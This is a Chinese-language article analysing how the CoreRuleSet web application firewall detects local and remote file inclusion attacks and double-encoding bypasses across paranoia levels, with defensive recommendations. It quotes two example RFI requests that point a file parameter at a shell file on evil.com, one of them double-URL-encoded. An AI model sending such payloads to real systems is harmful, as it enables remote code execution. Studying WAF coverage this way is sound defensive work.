CoreRuleSet项目中的LFI/RFI绕过技术分析
2025-06-30 23:56:32作者:邓越浪Henry
背景介绍
CoreRuleSet(CRS)是一个开源的Web应用防火墙规则集,广泛应用于保护Web应用免受各种攻击。其中,本地文件包含(LFI)和远程文件包含(RFI)是Web安全中常见的攻击方式,攻击者通过包含恶意文件来执行任意代码或获取敏感信息。
LFI/RFI攻击原理
LFI(本地文件包含)和RFI(远程文件包含)都是文件包含漏洞的表现形式。攻击者通过操纵应用程序的文件包含参数,使其加载并执行非预期的文件。RFI比LFI更危险,因为它允许从远程服务器加载恶意代码。
CRS对LFI/RFI的防护机制
CRS采用多层次的防护策略,通过不同的Paranoia级别(PL)提供渐进式的安全防护:
- PL-1级别:仅检测基于IP地址的RFI攻击
- PL-2级别:检测所有域外引用的RFI攻击
- PL-3级别:增加对多重编码等高级绕过技术的检测
实际绕过案例分析
案例1:简单RFI攻击
攻击者尝试通过直接包含远程URL来实施RFI攻击:
/?file=http://evil.com/shell.txt
在PL-2级别下,CRS能够有效识别并拦截此类攻击,触发规则931130,标记为"Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link"。
案例2:编码绕过攻击
攻击者使用双重URL编码试图绕过检测:
/?file=http:%252f%252fevil.com%252fshell.txt
这种技术在PL-3级别下会被检测到,触发以下规则:
- 920230(PL2):多重URL编码检测
- 920272(PL3):请求中包含ASCII 127以外的无效字符
防护建议
- 合理设置Paranoia级别:根据业务需求选择适当的防护级别,PL-2能提供较好的平衡,PL-3则提供更严格的防护。
- 输入验证:应用程序自身应对文件包含参数进行严格验证,限制可包含的文件范围。
- 禁用危险函数:在PHP环境中,可以考虑禁用allow_url_fopen和allow_url_include等危险配置。
- 日志监控:即使某些攻击未被拦截,也应通过日志分析发现可疑行为。
总结
CoreRuleSet通过多层次的防护机制有效防御了大多数LFI/RFI攻击。虽然高级编码技术可能在较低防护级别下实现绕过,但提升Paranoia级别可以解决这一问题。安全防护应当采用纵深防御策略,结合WAF规则和应用程序自身的安全措施,才能提供全面的保护。
登录后查看全文
热门项目推荐
相关项目推荐
kernelopenEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。C037
Kimi-K2-ThinkingKimi K2 Thinking 是最新、性能最强的开源思维模型。从 Kimi K2 开始,我们将其打造为能够逐步推理并动态调用工具的思维智能体。通过显著提升多步推理深度,并在 200–300 次连续调用中保持稳定的工具使用能力,它在 Humanity's Last Exam (HLE)、BrowseComp 等基准测试中树立了新的技术标杆。同时,K2 Thinking 是原生 INT4 量化模型,具备 256k 上下文窗口,实现了推理延迟和 GPU 内存占用的无损降低。Python00
kylin-wayland-compositorkylin-wayland-compositor或kylin-wlcom(以下简称kywc)是一个基于wlroots编写的wayland合成器。 目前积极开发中,并作为默认显示服务器随openKylin系统发布。 该项目使用开源协议GPL-1.0-or-later,项目中来源于其他开源项目的文件或代码片段遵守原开源协议要求。C00
PaddleOCR-VLPaddleOCR-VL 是一款顶尖且资源高效的文档解析专用模型。其核心组件为 PaddleOCR-VL-0.9B,这是一款精简却功能强大的视觉语言模型(VLM)。该模型融合了 NaViT 风格的动态分辨率视觉编码器与 ERNIE-4.5-0.3B 语言模型,可实现精准的元素识别。Python00
GLM-4.7GLM-4.7上线并开源。新版本面向Coding场景强化了编码能力、长程任务规划与工具协同,并在多项主流公开基准测试中取得开源模型中的领先表现。 目前,GLM-4.7已通过BigModel.cn提供API,并在z.ai全栈开发模式中上线Skills模块,支持多模态任务的统一规划与协作。Jinja00
agent-studioopenJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力TSX0115
Spark-Formalizer-X1-7BSpark-Formalizer 是由科大讯飞团队开发的专用大型语言模型,专注于数学自动形式化任务。该模型擅长将自然语言数学问题转化为精确的 Lean4 形式化语句,在形式化语句生成方面达到了业界领先水平。Python00
项目优选
收起
deepin linux kernel
C
26
10
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
433
3.29 K
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
689
352
Ascend Extension for PyTorch
Python
237
271
暂无简介
Dart
690
162
Nop Platform 2.0是基于可逆计算理论实现的采用面向语言编程范式的新一代低代码开发平台,包含基于全新原理从零开始研发的GraphQL引擎、ORM引擎、工作流引擎、报表引擎、规则引擎、批处理引引擎等完整设计。nop-entropy是它的后端部分,采用java语言实现,可选择集成Spring框架或者Quarkus框架。中小企业可以免费商用
Java
9
1
仓颉编程语言运行时与标准库。
Cangjie
143
881
React Native鸿蒙化仓库
JavaScript
266
327
openJiuwen agent-studio提供零码、低码可视化开发和工作流编排,模型、知识库、插件等各资源管理能力
TSX
211
115
仓颉编译器源码及 cjdb 调试工具。
C++
138
869